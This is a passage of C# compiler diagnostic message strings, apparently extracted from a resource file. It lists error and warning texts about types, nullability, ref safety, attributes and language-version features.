type, or be derived from the parameter type, or be the containing type's type parameter constrained to it unless the parameter type is a different type parameter. + Inline array conversion operator will not be used for conversion from expression of the declaring type. + Error reading debug information for '{0}' + Expression tree cannot contain value of ref struct or restricted type '{0}'. + Static classes cannot contain destructors + Parameter '{0}' is an argument to the interpolated string handler conversion on parameter '{1}', but the corresponding argument is specified after the interpolated string expression. Reorder the arguments to move '{0}' before '{1}'. + The given expression is always of the provided ('{0}') type + Source file references are not supported. + Reference kind modifier of parameter doesn't match the corresponding parameter in hidden member. + '{0}': static types cannot be used as return types + There is no defined ordering between fields in multiple declarations of partial struct '{0}'. To specify an ordering, all instance fields must be in the same declaration. + Inconsistent accessibility: indexer return type '{1}' is less accessible than indexer '{0}' + CLS-compliant field cannot be volatile + Newlines inside a non-verbatim interpolated string are not supported in C# {0}. Please use language version {1} or greater. + Inconsistent accessibility: parameter type '{1}' is less accessible than method '{0}' + tree must have a root node with SyntaxKind.CompilationUnit + Only assignment, call, increment, decrement, await, and new object expressions can be used as a statement + The CallerFilePathAttribute applied to parameter '{0}' will have no effect because it applies to a member that is used in contexts that do not allow optional arguments + params is not valid in this context + An expression tree lambda may not contain a ref, in or out parameter + File-local type '{0}' cannot be used in a 'global using static' directive. + Cannot initialize type '{0}' with a collection initializer because it does not implement 'System.Collections.IEnumerable' + Pattern-matching is not permitted for pointer types. + An expression of type '{0}' always matches the provided pattern. + The feature '{0}' is currently in Preview and *unsupported*. To use Preview features, use the 'preview' language version. + The first operand of an overloaded shift operator must have the same type as the containing type + auto property initializer + Error reading resource '{0}' -- '{1}' + Preprocessor directive expected + The first operand of an overloaded shift operator must have the same type as the containing type or its type parameter constrained to it + 'await' cannot be used in an expression containing the type '{0}' + Cannot specify accessibility modifiers for both accessors of the property or indexer '{0}' + Partial method declarations have signature differences. + Module initializer method '{0}' must not be generic and must not be contained in a generic type + Tuple element names must be unique. + The language name is invalid + '{0}': cannot explicitly call operator or accessor + '{0}' cannot be extern and have a constructor initializer + Nullable value type may be null. + Auto-implemented properties cannot return by reference + Multi-line raw string literals are only allowed in verbatim interpolated strings. + Required white space was missing. + Reference to '{0}' netmodule missing. + Use of possibly unassigned field '{0}'. Consider updating to language version '{1}' to auto-default the field. + '{0}' defines 'Equals' but not 'GetHashCode' + Operation caused a stack overflow. + foreach iteration variable + '{0}': cannot override; '{1}' is not an event + '{0}' duplicate TypeForwardedToAttribute + Fixed size buffers must have a length greater than zero + 'await' cannot be used as an identifier within an async method or lambda expression + Constant value '{0}' cannot be converted to a '{1}' (use 'unchecked' syntax to override) + Identifier is not CLS-compliant + dictionary initializer + Internal error in the C# compiler. + The CallerArgumentExpressionAttribute applied to parameter '{0}' will have no effect. It is overridden by the CallerLineNumberAttribute. + This returns a parameter by reference but it is scoped to the current method + Parameter '{0}' must have a non-null value when exiting because parameter '{1}' is non-null. + interpolated strings + Not all code paths return a value in {0} of type '{1}' + Possible unintended reference comparison; left hand side needs cast + No accessible copy constructor found in base type '{0}'. + The positional member '{0}' found corresponding to this parameter is hidden. + Unable to resolve file path '{0}' specified for the named argument '{1}' for PermissionSet attribute + Invalid number + Referenced assembly '{0}' has different culture setting of '{1}'. + Ambiguous reference in cref attribute + The first parameter of an extension method cannot be of type '{0}' + readonly references + '{0}' is a {1}, which is not valid in the given context + Overloaded method '{0}' differing only in ref or out, or in array rank, is not CLS-compliant + Invalid parameter type 'void' + Constraints are not allowed on non-generic declarations + XML comment has syntactically incorrect cref attribute + anonymous methods + The annotation for nullable reference types should only be used in code within a '#nullable' annotations context. + An expression tree may not contain a throw-expression. + Cannot convert type '{0}' to '{1}' + Filter expression is a constant 'false', consider removing the try-catch block + Named argument '{0}' cannot be specified multiple times + Array type specifier, [], must appear before parameter name + Cannot convert null to '{0}' because it is a non-nullable value type + Analyzer reference '{0}' specified multiple times + The 'partial' modifier can only appear immediately before 'class', 'record', 'struct', 'interface', or a method return type. + Method '{0}' must be non-generic to match '{1}'. + Type does not implement the collection pattern; member is is not a public instance or extension method. + The type of the argument to the DefaultParameterValue attribute must match the parameter type + There is no target type for '{0}' + Invalid reference alias option: '{0}=' -- missing filename + The type '{0}' may not be used for a field of a record. + Field or auto-implemented property cannot be of type '{0}' unless it is an instance member of a ref struct. + Invalid variance: The type parameter '{1}' must be {3} valid on '{0}' unless language version '{4}' or greater is used. '{1}' is {2}. + The using directive appeared previously as global using + The CallerArgumentExpressionAttribute applied to parameter '{0}' will have no effect because it applies to a member that is used in contexts that do not allow optional arguments + Named argument '{0}' is used out-of-position but is followed by an unnamed argument + Members of readonly field '{0}' cannot be returned by writable reference + Cannot use an expression of type '{0}' as an argument to a dynamically dispatched operation. + Query expressions over source type 'dynamic' or with a join sequence of type 'dynamic' are not allowed + Option '{0}' overrides attribute '{1}' given in a source file or added module + '{0}': member names cannot be the same as their enclosing type + '{0}': type used in an asynchronous using statement must be implicitly convertible to 'System.IAsyncDisposable' or implement a suitable 'DisposeAsync' method. Did you mean 'using' rather than 'await using'? + Parameter '{0}' occurs after '{1}' in the parameter list, but is used as an argument for interpolated string handler conversions. This will require the caller to reorder parameters with named arguments at the call site. Consider putting the interpolated string handler parameter after all arguments involved. + Invalid hash algorithm name: '{0}' + The contextual keyword 'var' may only appear within a local variable declaration or in script code + An expression tree may not contain an access of static virtual or abstract interface member + Invalid image base number '{0}' + A Windows Runtime event may not be passed as an out or ref parameter. + Instance of type '{0}' cannot be used inside a nested function, query expression, iterator block or async method + '{0}' does not implement interface member '{1}'. '{2}' cannot implement '{1}' because it does not have the matching return type of '{3}'. + Argument should be passed with 'ref' or 'in' keyword + extended property patterns + The type of one of the expressions in the {0} clause is incorrect. Type inference failed in the call to '{1}'. + XML comment has cref attribute that refers to a type parameter + File-local type '{0}' cannot use accessibility modifiers. + Primary constructor parameter '{0}' is shadowed by a member from base. + Method name expected + Cannot use fixed local '{0}' inside an anonymous method, lambda expression, or query expression + Method '{0}' will not be used as an entry point because a synchronous entry point '{1}' was found. + __arglist is not valid in this context + Member '{0}' must have a non-null value when exiting. + Elements cannot be null. + Not a C# symbol. + Cannot convert &method group '{0}' to non-function pointer type '{1}'. + '{0}': static types cannot be used as parameters + Only a 'using static' or 'using alias' can be 'unsafe'. + Type '{0}' exported from module '{1}' conflicts with type declared in primary module of this assembly. + The switch expression does not handle all possible values of its input type (it is not exhaustive). + unmanaged constructed types + This takes the address of, gets the size of, or declares a pointer to a managed type + The specified version string '{0}' does not conform to the required format - major[.minor[.build[.revision]]] + foreach statement cannot operate on variables of type '{0}' because it implements multiple instantiations of '{1}'; try casting to a specific interface instantiation + XML comment has a param tag, but there is no parameter by that name + Identifier expected + pattern matching + Using alias cannot be a nullable reference type. + The CallerMemberNameAttribute will have no effect; it is overridden by the CallerFilePathAttribute + A collection expression of type '{0}' cannot be used in this context because it may be exposed outside of the current scope. + file types + An expression tree may not contain a base access + A parameter can only have one '{0}' modifier + No such label '{0}' within the scope of the goto statement + Unsafe code may only appear if compiling with /unsafe + A reference returned by a call to '{0}' cannot be preserved across 'await' or 'yield' boundary. + '{0}': virtual or abstract members cannot be private + The CallerArgumentExpressionAttribute is applied with an invalid parameter name. + positional fields in records + readonly members + Referenced assembly has different culture setting + The first 'in' or 'ref readonly' parameter of the extension method '{0}' must be a concrete (non-generic) value type. + Generator '{0}' failed to initialize. It will not contribute to the output and compilation errors may occur as a result. Exception was of type '{1}' with message '{2}'. +{3} + A value of type '{0}' cannot be used as default parameter for nullable parameter '{1}' because '{0}' is not a simple type + A value of type '{0}' cannot be used as a default parameter because there are no standard conversions to type '{1}' + Nullability of reference types in type of parameter '{0}' doesn't match interceptable method '{1}'. + '{0}' must be required because it overrides required member '{1}' + '{0}' is abstract but it is contained in non-abstract type '{1}' + dynamic + Possible null reference assignment. + Cannot return by reference a member of parameter '{0}' because it is scoped to the current method + Module '{0}' in assembly '{1}' is forwarding the type '{2}' to multiple assemblies: '{3}' and '{4}'. + Expected 'disable' or 'restore' after #pragma warning + SecurityAction value '{0}' is invalid for security attributes applied to a type or a method + '{0}' is a {1} but is used like a {2} + Record member '{0}' must return '{1}'. + Preprocessor directives must appear as the first non-whitespace character on a line + field + array + using alias + digit separators + Use of possibly unassigned field '{0}'. Consider updating to language version '{1}' to auto-default the field. + It is not legal to use nullable reference type '{0}?' in an is-type expression; use the underlying type '{0}' instead. + Parameter '{0}' must have a non-null value when exiting. + event + The modifier '{0}' is not valid for this item + discards + Key file '{0}' is missing the private key needed for signing + label + An __arglist expression may only appear inside of a call or new expression + Algorithm '{0}' is not supported + Method must have a return type + type parameter + Enums cannot contain explicit parameterless constructors + '{0}' is attributed with 'UnmanagedCallersOnly' and cannot be called directly. Obtain a function pointer to this method. + Both partial method declarations must have identical accessibility modifiers. + Not a valid attribute location for this declaration + Cryptographic failure while creating hashes. + This method can only be used to create tokens - {0} is not a token kind. + Member '{0}' cannot be used in this attribute. + '{0}' cannot define an overloaded {1} that differs only on parameter modifiers '{2}' and '{3}' + Function pointer '{0}' does not take {1} arguments + Duplicate null suppression operator ('!') + Nullability of reference types in type doesn't match overridden member. + The name '{0}' does not exist in the current context (are you missing a reference to assembly '{1}'?) + Keyword 'base' is not available in the current context + Cannot use local variable '{0}' before it is declared + asynchronous using + The literal string ']]>' is not allowed in element content. + '{0}': cannot implement a dynamic interface '{1}' + declaration of expression variables in member initializers and queries + Target runtime doesn't support ref fields. + Cannot intercept call to '{0}' with '{1}' because of a difference in 'scoped' modifiers or '[UnscopedRef]' attributes. + Partial method declarations of '{0}' have inconsistent nullability in constraints for type parameter '{1}' + Parameter not valid for the specified unmanaged type. + /REFERENCEPATH option + An expression tree may not contain a reference to a local function + The field has multiple distinct constant values. + {0} version {1} + Copyright (C) Microsoft Corporation. All rights reserved. + Security attribute '{0}' is not valid on this declaration type. Security attributes are only valid on assembly, type and method declarations. + using static + Member '{0}' added during the current debug session can only be accessed from within its declaring assembly '{1}'. + Cannot use #load after first token in file + The type name only contains lower-cased ascii characters. Such names may become reserved for the language. + An expression tree may not contain an out argument variable declaration. + Invalid type for parameter {0} in XML comment cref attribute: '{1}' + The type cannot be used as type parameter in the generic type or method. Nullability of type argument doesn't match 'class' constraint. + Inconsistent accessibility: constraint type '{1}' is less accessible than '{0}' + '{0}' cannot be both abstract and sealed + Unexpected character '{0}' + '{0}' is not a valid named attribute argument. Named attribute arguments must be fields which are not readonly, static, or const, or read-write properties which are public and not static. + Unrecognized #pragma directive + Cannot declare a variable of static type '{0}' + You have added a reference to an assembly using /link (Embed Interop Types property set to True). This instructs the compiler to embed interop type information from that assembly. However, the compiler cannot embed interop type information from that assembly because another assembly that you have referenced also references that assembly using /reference (Embed Interop Types property set to False). + +To embed interop type information for both assemblies, use /link for references to each assembly (set the Embed Interop Types property to True). + +To remove the warning, you can use /reference instead (set the Embed Interop Types property to False). In this case, a primary interop assembly (PIA) provides interop type information. + Nullability of reference types in return type doesn't match interceptable method '{0}'. + expression body property accessor + '{0}' defines operator == or operator != but does not override Object.Equals(object o) + Wrong number of type arguments + '{0}' does not implement the '{1}' pattern. '{2}' has the wrong signature. + Asynchronous foreach requires that the return type '{0}' of '{1}' must have a suitable public 'MoveNextAsync' method and public 'Current' property + A namespace declaration cannot have modifiers or attributes + '{0}': instance field in types marked with StructLayout(LayoutKind.Explicit) must have a FieldOffset attribute + Cannot create an instance of the abstract type or interface '{0}' + An explicit interface implementation of an event must use event accessor syntax + The evaluation of the constant value for '{0}' involves a circular definition + '{0}' is not a valid attribute location for this declaration. Valid attribute locations for this declaration are '{1}'. All attributes in this block will be ignored. + A result of a stackalloc expression of type '{0}' in this context may be exposed outside of the containing method + '{0}' is ambiguous between '{1}' and '{2}'. Either use '@{0}' or explicitly include the 'Attribute' suffix. + ; expected + Dynamically dispatched call may fail at runtime because one or more applicable overloads are conditional methods + Namespace conflicts with imported type + A partial method may not have multiple implementing declarations + Cannot use '{0}' as a ref or out value because it is a '{1}' + Friend access was granted by '{0}', but the strong name signing state of the output assembly does not match that of the granting assembly. + target-typed object creation + A constructor declared in a type with parameter list must have 'this' constructor initializer. + Constraint cannot be a dynamic type '{0}' + Operator '{0}' cannot be applied to operand of type '{1}' + A primary constructor parameter of a readonly type cannot be returned by writable reference + '{0}': a reference to a volatile field will not be treated as volatile + An expression tree may not contain a dynamic operation + Implicitly-typed local variables cannot be fixed + Imported type '{0}' is invalid. It contains a circular base type dependency. + Multiple implementations of the query pattern were found for source type '{0}'. Ambiguous call to '{1}'. + The command line switch '{0}' is not yet implemented and was ignored. + Nullability of reference types in type doesn't match implemented member. + Method, operator, or accessor '{0}' is marked external and has no attributes on it. Consider adding a DllImport attribute to specify the external implementation. + '{0}' is not a valid parameter name from '{1}'. + Inconsistent accessibility: parameter type '{1}' is less accessible than indexer '{0}' + Predefined type '{0}' is declared in multiple referenced assemblies: '{1}' and '{2}' + expression-bodied property + 'RefKind.Out' is not a valid ref kind for a return type. + alternative interpolated verbatim strings + name shadowing in nested functions + The FieldOffset attribute is not allowed on static or const fields + Cannot use ref local '{0}' inside an anonymous method, lambda expression, or query expression + Cannot return a parameter by reference '{0}' because it is scoped to the current method + Operator '{0}' is ambiguous on operands of type '{1}' and '{2}' + Return type of '{0}' is not CLS-compliant + A switch expression arm does not begin with a 'case' keyword. + The CallerArgumentExpressionAttribute may only be applied to parameters with default values + Assuming assembly reference matches identity + '{0}' does not contain a definition for '{1}' and no extension method '{1}' accepting a first argument of type '{0}' could be found (are you missing a using directive for '{2}'?) + Delay signing was specified and requires a public key, but no public key was specified + Expression will always cause a System.NullReferenceException because the default value of '{0}' is null + Indexers must have at least one parameter + Using '{0}' to test compatibility with '{1}' is essentially identical to testing compatibility with '{2}' and will succeed for all non-null values + The indicated call is intercepted multiple times. + A value of an integral type expected + Argument cannot be used as an output for parameter due to differences in the nullability of reference types. + This language feature ('{0}') is not yet implemented. + Syntax tree should be created from a submission. + Fully qualified name is too long for debug information + 'readonly' modifier must be specified after 'ref'. + No value for RuntimeMetadataVersion found. No assembly containing System.Object was found nor was a value for RuntimeMetadataVersion specified through options. + The annotation for nullable reference types should only be used in code within a '#nullable' annotations context. Auto-generated code requires an explicit '#nullable' directive in source. + Interface marked with 'CoClassAttribute' not marked with 'ComImportAttribute' + lambda params array + Allocated instance is not disposed along all exception paths + 'in' expected + There is an error in a referenced assembly '{0}'. + Nullability of type of parameter doesn't match overridden member (possibly because of nullability attributes). + Tuple element name '{0}' is disallowed at any position. + Indexing an array with a negative index (array indices always start at zero) + CLSCompliant attribute has no meaning when applied to return types. Try putting it on the method instead. + '{0}' specified for Main method must be a non-generic class, record, struct, or interface + This combination of arguments may expose variables referenced by parameter outside of their declaration scope + The best overloaded Add method '{0}' for the collection initializer element is obsolete. {1} + CLS compliance checking will not be performed because it is not visible from outside this assembly + Partial declarations of '{0}' have inconsistent constraints for type parameter '{1}' + Could not find '{0}' specified for Main method + Using a field of a marshal-by-reference class as a ref or out value or taking its address may cause a runtime exception + and pattern + There is no argument given that corresponds to the required parameter '{0}' of '{1}' + The name '{0}' does not match the corresponding 'Deconstruct' parameter '{1}'. + Provided source code kind is unsupported or invalid: '{0}' + This returns by reference a member of parameter that is scoped to the current method + Cannot specify a default value for a parameter array + Assignment made to same variable + Invalid name for a preprocessing symbol; '{0}' is not a valid identifier + '{0}' cannot implement both '{1}' and '{2}' because they may unify for some type parameter substitutions + Type '{0}' forwarded to assembly '{1}' conflicts with type '{2}' exported from module '{3}'. + The type '{2}' must be a non-nullable value type in order to use it as parameter '{1}' in the generic type or method '{0}' + Static types cannot be used as return types + Method has the wrong signature to be an entry point + Duplicate '{0}' modifier + contravariantly + List patterns may not be used for a value of type '{0}'. + Cannot convert {0} to type '{1}' because the return type does not match the delegate return type + Keyword, identifier, or string expected after verbatim specifier: @ + The modifier '{0}' is not valid for this item in C# {1}. Please use language version '{2}' or greater. + Explicit interface implementation '{0}' is missing accessor '{1}' + '{2}' must be a non-abstract type with a public parameterless constructor in order to use it as parameter '{1}' in the generic type or method '{0}' + '{0}': containing type does not implement interface '{1}' + '{0}': ref structs cannot implement interfaces + Method '{0}' must be non-generic or have arity {1} to match '{2}'. + Could not find an implementation of the query pattern for source type '{0}'. '{1}' not found. Are you missing required assembly references or a using directive for 'System.Linq'? + User-defined operators cannot return void + Nullability of reference types in type of parameter doesn't match implicitly implemented member. + binary literals + Cannot create an array with a negative size + pattern-based disposal + static classes + constraints for override and explicit interface implementation methods + The yield statement cannot be used inside an anonymous method or lambda expression + Type '{0}' cannot be embedded because it has a generic argument. Consider setting the 'Embed Interop Types' property to false. + Source file has exceeded the limit of 16,707,565 lines representable in the PDB; debug information will be incorrect + ref structs + index operator + '{0}' does not implement interface member '{1}'. '{2}' is not public. + InterpolatedStringHandlerArgument has no effect when applied to lambda parameters and will be ignored at the call site. + '{1}' does not define type parameter '{0}' + Do not use '_' for a case constant. + The receiver type '{0}' is not a valid record type and is not a struct type. + The typeof operator cannot be used on the dynamic type + The operand of an increment or decrement operator must be a variable, property or indexer + /embed switch is only supported when emitting a PDB. + The given expression cannot be used in a fixed statement + '{0}' cannot be both extern and abstract + An object of a type convertible to '{0}' is required + Cannot create an instance of the static class '{0}' + Use of possibly unassigned field '{0}' + The switch case is unreachable. It has already been handled by a previous case or it is impossible to match. + '{0}' hides inherited member '{1}'. Use the new keyword if hiding was intended. + Invalid unicode character. + Lambda expressions that return by reference cannot be converted to expression trees + Cannot define a class or member that utilizes tuples because the compiler required type '{0}' cannot be found. Are you missing a reference? + Error signing output with public key from file '{0}' -- {1} + '{0}': cannot specify both a constraint class and the 'class' or 'struct' constraint + Anonymous methods, lambda expressions, query expressions, and local functions inside a struct cannot access primary constructor parameter also used inside an instance member + Nullability of reference types in type of parameter doesn't match interceptable method. + A 'using static' directive can only be applied to types; '{0}' is a namespace not a type. Consider a 'using namespace' directive instead + Cannot use a lambda expression as an argument to a dynamically dispatched operation without first casting it to a delegate or expression tree type. + By-value returns may only be used in methods that return by value + A result of a stackalloc expression of type '{0}' cannot be used in this context because it may be exposed outside of the containing method + generic attributes + Filter expression is a constant 'true', consider removing the filter + Invalid type specified as an argument for TypeForwardedTo attribute + Cannot create delegate with '{0}' because it or a method it overrides has a Conditional attribute + Use of default literal is not valid in this context + Unexpected keyword 'unchecked' + The required members list for '{0}' is malformed and cannot be interpreted. + Cannot implicitly convert type '{0}' to '{1}'. An explicit conversion exists (are you missing a cast?) + An instance of analyzer {0} cannot be created from {1} : {2}. + Using directive appeared previously in this namespace + XML comment has cref attribute that could not be resolved + Cannot reference 'System.Runtime.CompilerServices.TupleElementNamesAttribute' explicitly. Use the tuple syntax to define tuple names. + Invalid number + Delegate '{0}' does not take {1} arguments + '{0}' hides inherited abstract member '{1}' + Duplicate type parameter '{0}' + The best overloaded Add method for the collection initializer element is obsolete + pattern matching ReadOnly/Span<char> on constant string + Different checksum values given for '{0}' + '{0}': event must be of a delegate type + The EnumeratorCancellationAttribute applied to parameter '{0}' will have no effect. The attribute is only effective on a parameter of type CancellationToken in an async-iterator method returning IAsyncEnumerable + Expression expected after yield return + /sourcelink switch is only supported when emitting PDB. + Nullability of reference types in value doesn't match target type. + Nullability of reference types in type of parameter doesn't match implemented member. + First argument to a security attribute must be a valid SecurityAction + '{0}': extern event cannot have initializer + Do not use 'System.Runtime.CompilerServices.ScopedRefAttribute'. Use the 'scoped' keyword instead. + The contextual keyword 'var' cannot be used in a range variable declaration + Invalid extern alias for '/reference'; '{0}' is not a valid identifier + Member hides inherited member; missing override keyword + The FieldOffset attribute can only be placed on members of types marked with the StructLayout(LayoutKind.Explicit) + XML comment has a duplicate param tag + variance safety for static interface members + type + '{0}': static types cannot be used as type arguments + A throw expression is not allowed in this context. + The switch expression does not handle some values of its input type (it is not exhaustive) involving an unnamed enum value. + The CallerLineNumberAttribute applied to parameter '{0}' will have no effect because it applies to a member that is used in contexts that do not allow optional arguments + Overloadable binary operator expected + No best type found for implicitly-typed array + Whitespace is not allowed at this location. + XML comment is not placed on a valid language element + Cannot use a negative size with stackalloc + Command-line syntax error: Missing '{0}' for '{1}' option + Pointers and fixed size buffers may only be used in an unsafe context + Overloaded method differing only by unnamed array types is not CLS-compliant + An out parameter must be assigned to before control leaves the method + Error building Win32 resources -- {0} + Partial methods with only a defining declaration or removed conditional methods cannot be used in expression trees + Tuple element name '{0}' is inferred. Please use language version {1} or greater to access an element by its inferred name. + Possible unintended reference comparison; to get a value comparison, cast the right hand side to type '{0}' + XML comment has a duplicate typeparam tag + Use of unassigned local variable '{0}' + Types and aliases cannot be named 'file'. + The CallerArgumentExpressionAttribute will have no effect; it is overridden by the CallerLineNumberAttribute + Assembly '{0}' with identity '{1}' uses '{2}' which has a higher version than referenced assembly '{3}' with identity '{4}' + This returns a parameter by reference '{0}' through a ref parameter; but it can only safely be returned in a return statement + The non-generic {1} '{0}' cannot be used with type arguments + struct field initializers + The assembly name '{0}' is reserved and cannot be used as a reference in an interactive session + Cannot use 'ref', 'in', or 'out' in the signature of a method attributed with 'UnmanagedCallersOnly'. + Type defines operator == or operator != but does not override Object.Equals(object o) + Cannot use parameter '{0}' that has ref-like type inside an anonymous method, lambda expression, query expression, or local function + '{0}': type must be '{2}' to match overridden member '{1}' + Bitwise-or operator used on a sign-extended operand; consider casting to a smaller unsigned type first + Filter expression is a constant 'false' + You cannot use fixed size buffers contained in unfixed expressions. Try using the fixed statement. + Cannot take the address of the given expression + An expression tree may not contain '{0}' + Cannot specify default parameter value in conjunction with DefaultParameterAttribute or OptionalAttribute + The type '{2}' cannot be used as type parameter '{1}' in the generic type or method '{0}'. Nullability of type argument '{2}' doesn't match 'class' constraint. + No suitable 'Deconstruct' instance or extension method was found for type '{0}', with {1} out parameters and a void return type. + '{0}' is explicitly implemented more than once. + Extension method must be defined in a non-generic static class + Attribute parameter 'SizeConst' must be specified. + '{0}' is of type '{1}'. A const field of a reference type other than string can only be initialized with null. + '{0}' is not a valid calling convention specifier for a function pointer. + Nullability of reference types in return type doesn't match implemented member '{0}'. + The 'new()' constraint cannot be used with the 'struct' constraint + __arglist is not allowed in the parameter list of async methods + Cannot intercept: compilation does not contain a file with path '{0}'. + Operator '{0}' cannot be used here due to precedence. Use parentheses to disambiguate. + Parameter must have a non-null value when exiting. + Do not use 'System.Runtime.CompilerServices.ExtensionAttribute'. Use the 'this' keyword instead. + required members + An add or remove accessor expected + Control cannot leave the body of an anonymous method or lambda expression + Obsolete member overrides non-obsolete member + Passing '{0}' is not valid unless '{1}' is 'SignatureCallingConvention.Unmanaged'. + The class type constraint '{0}' must come before any other constraints + Use of possibly unassigned auto-implemented property '{0}' + The analyzer assembly '{0}' references version '{1}' of the compiler, which is newer than the currently running version '{2}'. + '{0}' must match by reference return of overridden member '{1}' + The CallerFilePathAttribute will have no effect; it is overridden by the CallerLineNumberAttribute + Extension method groups are not allowed as an argument to 'nameof'. + Cannot initialize a by-value variable with a reference + The body of an async-iterator method must contain a 'yield' statement. Consider removing 'async' from the method declaration or adding a 'yield' statement. + '{0}' does not contain a definition for '{1}' and no accessible extension method '{1}' accepting a first argument of type '{0}' could be found (are you missing a using directive or an assembly reference?) + The {1} '{0}' cannot be used with type arguments + Expression cannot be used in this context because it may indirectly expose variables outside of their declaration scope + Parameter to interpolated string handler conversion occurs after handler parameter + A partial method may not have multiple defining declarations + The CallerArgumentExpressionAttribute applied to parameter '{0}' will have no effect. It is applied with an invalid parameter name. + Assembly reference '{0}' is invalid and cannot be resolved + This ref-assigns a value that has a narrower escape scope than the target. + Static classes cannot have instance constructors + 'await' requires that the type {0} have a suitable 'GetAwaiter' method + Cannot use a member of result of '{0}' in this context because it may expose variables referenced by parameter '{1}' outside of their declaration scope + Implicitly typed lambda parameter '{0}' cannot have a default value. + Type '{1}' already reserves a member called '{0}' with the same parameter types + Auto-implemented property '{0}' cannot be marked 'readonly' because it has a 'set' accessor. + Argument type is not CLS-compliant + Unrecognized escape sequence + Parameter has no matching param tag in the XML comment (but other parameters do) + The switch expression does not handle some null inputs. + Inherited interface '{1}' causes a cycle in the interface hierarchy of '{0}' + The type or namespace name '{0}' could not be found in the global namespace (are you missing an assembly reference?) + Cannot intercept '{0}' because it is not an invocation of an ordinary member method. + Cannot await in the filter expression of a catch clause + Can only use array initializer expressions to assign to array types. Try using a new expression instead. + Converting null literal or possible null value to non-nullable type. + Implicitly-typed variables must be initialized + Type parameter declaration must be an identifier not a type + primary constructors + Auto-implemented property '{0}' must be fully assigned before control is returned to the caller. Consider updating to language version '{1}' to auto-default the property. + '{0}': new protected member declared in struct + '{0}': static classes cannot contain protected members + The 'this' object is read before all of its fields have been assigned, causing preceding implicit assignments of 'default' to non-explicitly assigned fields. + '{0}': cannot declare instance members in a static class + Control is returned to caller before auto-implemented property is explicitly assigned, causing a preceding implicit assignment of 'default'. + Executables cannot be satellite assemblies; culture should always be empty + Method lacks `[DoesNotReturn]` annotation to match implemented or overridden member. + Use of keyword 'base' is not valid in this context + The type '{0}' is defined in an assembly that is not referenced. You must add a reference to assembly '{1}'. + '{0}' adds an accessor not found in interface member '{1}' + Unrecognized option: '{0}' + Async methods are not allowed in an Interface, Class, or Structure which has the 'SecurityCritical' or 'SecuritySafeCritical' attribute. + CallerArgumentExpressionAttribute cannot be applied because there are no standard conversions from type '{0}' to type '{1}' + The first operand of an 'is' or 'as' operator may not be a lambda expression, anonymous method, or method group. + An array access may not have a named argument specifier + Cannot use a method group as an argument to a dynamically dispatched operation. Did you intend to invoke the method? + range operator + A readonly field cannot be used as a ref or out value (except in a constructor) + Cannot intercept a call in file with path '{0}' because multiple files in the compilation have this path. + Called GetDeclarationName for a declaration node that can possibly contain multiple variable declarators. + This error occurs if you have an overloaded method that takes a jagged array and the only difference between the method signatures is the element type of the array. To avoid this error, consider using a rectangular array rather than a jagged array; use an additional parameter to disambiguate the function call; rename one or more of the overloaded methods; or, if CLS Compliance is not needed, remove the CLSCompliantAttribute attribute. + The switch expression does not handle all possible values of its input type (it is not exhaustive). For example, the pattern '{0}' is not covered. However, a pattern with a 'when' clause might successfully match this value. + The tuple element names in the signature of method '{0}' must match the tuple element names of interface method '{1}' (including on the return type). + The 'this' object is read before all of its fields have been assigned, causing preceding implicit assignments of 'default' to non-explicitly assigned fields. + This returns by reference a member of parameter '{0}' that is scoped to the current method + Duplicate '{0}' attribute in '{1}' + async function + Invalid debug information format: {0} + A goto cannot jump to a location before a using declaration within the same block. + Accessors '{0}' and '{1}' should both be init-only or neither + Async methods cannot have pointer type parameters + 'else' cannot start a statement. + Member overrides obsolete member + Cannot assign to {0} '{1}' or use it as the right hand side of a ref assignment because it is a readonly variable + The syntax 'var' for a pattern is not permitted to refer to a type, but '{0}' is in scope here. + Async methods cannot have by-reference locals + Argument {0} should be passed with the 'in' keyword + notnull generic type constraint + Only auto-implemented properties can have initializers. + A 'struct' with field initializers must include an explicitly declared constructor. + Cannot create short filename '{0}' when a long filename with the same short filename already exists + The parameter type for ++ or -- operator must be the containing type, or its type parameter constrained to it. + File-local type '{0}' must be defined in a top level type; '{0}' is a nested type. + Attribute '{0}' is not valid on event accessors. It is only valid on '{1}' declarations. + #warning: '{0}' + A static member cannot be marked as '{0}' + Cannot specify 'readonly' modifiers on both property or indexer '{0}' and its accessor. Remove one of them. + Field is read before being explicitly assigned, causing a preceding implicit assignment of 'default'. + The provided line and character number does not refer to an interceptable method name, but rather to token '{0}'. + The left-hand side of an assignment must be a variable, property or indexer + Target runtime doesn't support inline array types. + A member '{0}' marked as override cannot be marked as new or virtual + Both partial method declarations, '{0}' and '{1}', must use the same tuple element names. + Nullability of reference types in type of parameter '{0}' of '{1}' doesn't match implicitly implemented member '{2}' (possibly because of nullability attributes). + Struct members cannot return 'this' or other instance members by reference + '{0}': not all code paths return a value + Cannot use a result of '{0}' in this context because it may expose variables referenced by parameter '{1}' outside of their declaration scope + The switch expression does not handle all possible values of its input type (it is not exhaustive). For example, the pattern '{0}' is not covered. + Cannot forward type '{0}' because it is a nested type of '{1}' + Single-line comment or end-of-line expected + Constraint cannot be the dynamic type + The out parameter '{0}' must be assigned to before control leaves the current method + Invalid name for a preprocessing symbol; not a valid identifier + The 'l' suffix is easily confused with the digit '1' -- use 'L' for clarity + '{0}' in explicit interface declaration is not an interface + array access + The receiver of a `with` expression must have a non-void type. + '{0}': cannot override '{1}' because it is not supported by the language + Cannot initialize type '{0}' with a collection expression because the type is not constructible. + Init-only property or indexer '{0}' can only be assigned in an object initializer, or on 'this' or 'base' in an instance constructor or an 'init' accessor. + Cannot convert &method group '{0}' to delegate type '{1}'. + The parameter modifier '{0}' cannot be used with '{1}' + Element names are not permitted when pattern-matching via 'System.Runtime.CompilerServices.ITuple'. + Method '{0}' cannot be used as an interceptor because its containing type has type parameters. + Cannot ref-assign '{1}' to '{0}' because '{1}' has a wider value escape scope than '{0}' allowing assignment through '{0}' of values with narrower escapes scopes than '{1}'. + Type '{0}' cannot be embedded because it has a re-abstraction of a member from base interface. Consider setting the 'Embed Interop Types' property to false. + Non-invocable member '{0}' cannot be used like a method. + A ref or out value must be an assignable variable + SyntaxTreeSemanticModel must be provided in order to provide minimal type qualification. + The CallerArgumentExpressionAttribute will have no effect; it is overridden by the CallerMemberNameAttribute + Generator failed to initialize. + The type '{0}' is defined in a module that has not been added. You must add the module '{1}'. + A conditional expression cannot be used directly in a string interpolation because the ':' ends the interpolation. Parenthesize the conditional expression. + The namespace '{1}' in '{0}' conflicts with the type '{3}' in '{2}' + '{0}': a static constructor must be parameterless + An out parameter cannot have the In attribute + Arguments with 'in' modifier cannot be used in dynamically dispatched expressions. + method group + Async-iterator '{0}' has one or more parameters of type 'CancellationToken' but none of them is decorated with the 'EnumeratorCancellation' attribute, so the cancellation token parameter from the generated 